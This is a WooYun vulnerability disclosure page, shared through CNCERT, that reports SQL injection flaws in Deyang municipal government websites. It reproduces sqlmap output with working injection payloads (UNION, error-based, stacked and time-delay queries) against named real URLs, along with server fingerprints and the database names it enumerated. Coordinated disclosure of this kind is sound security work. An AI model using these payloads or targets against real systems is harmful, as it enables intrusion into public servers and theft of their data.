当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077696

漏洞标题:德阳市政府网站多个SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: evil

提交时间:2014-09-29 10:52

修复时间:2014-11-13 10:54

公开时间:2014-11-13 10:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-29: 细节已通知厂商并且等待厂商处理中
2014-09-30: 厂商已经确认,细节仅向厂商公开
2014-10-10: 细节向核心白帽子及相关领域专家公开
2014-10-20: 细节向普通白帽子公开
2014-10-30: 细节向实习白帽子公开
2014-11-13: 细节向公众公开

简要描述:

详细说明:

http://www1.deyang.gov.cn/fgw-new/TopicOneListPage.aspx?TopicID=1

5%C75A{0O%D9OQIO~%MF21Q.jpg


[*] starting at 20:04:40
[20:04:41] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:04:41] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: TopicID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: TopicID=1 AND 7794=7794
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: TopicID=1 AND 7184=CONVERT(INT,(CHAR(58)+CHAR(107)+CHAR(112)+CHAR(9
8)+CHAR(58)+(SELECT (CASE WHEN (7184=7184) THEN CHAR(49) ELSE CHAR(48) END))+CHA
R(58)+CHAR(112)+CHAR(107)+CHAR(99)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: TopicID=1 UNION ALL SELECT NULL, CHAR(58)+CHAR(107)+CHAR(112)+CHAR(
98)+CHAR(58)+CHAR(111)+CHAR(90)+CHAR(98)+CHAR(71)+CHAR(66)+CHAR(70)+CHAR(98)+CHA
R(70)+CHAR(85)+CHAR(112)+CHAR(58)+CHAR(112)+CHAR(107)+CHAR(99)+CHAR(58), NULL, N
ULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: TopicID=1; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: TopicID=1 WAITFOR DELAY '0:0:5'--
---
[20:04:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[20:04:41] [INFO] fetching database names
[20:04:41] [WARNING] reflective value(s) found and filtering out
available databases [9]:
[*] DYFGWDB
[*] DYFood-DY
[*] jyxcb
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb


Database: master
[5 tables]
+----------------------+
| dbo.spt_fallback_db |
| dbo.spt_fallback_dev |
| dbo.spt_fallback_usg |
| dbo.spt_monitor |
| dbo.spt_values |
+----------------------+


http://www.deyang.gov.cn/dy_gk_show.asp?id=37670

[*] starting at 20:31:40
[20:31:40] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:31:40] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=37670; WAITFOR DELAY '0:0:5';--
---
[20:31:40] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008

漏洞证明:

还有
http://www.deyang.gov.cn/showszxx.asp?id=42560
http://www1.deyang.gov.cn/dysrfb/sp/cdshow.aspx?cd_id=17

修复方案:

顺便求个证书

版权声明:转载请注明来源 evil@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-09-30 09:59

厂商回复:

最新状态:

暂无


漏洞评价:

评论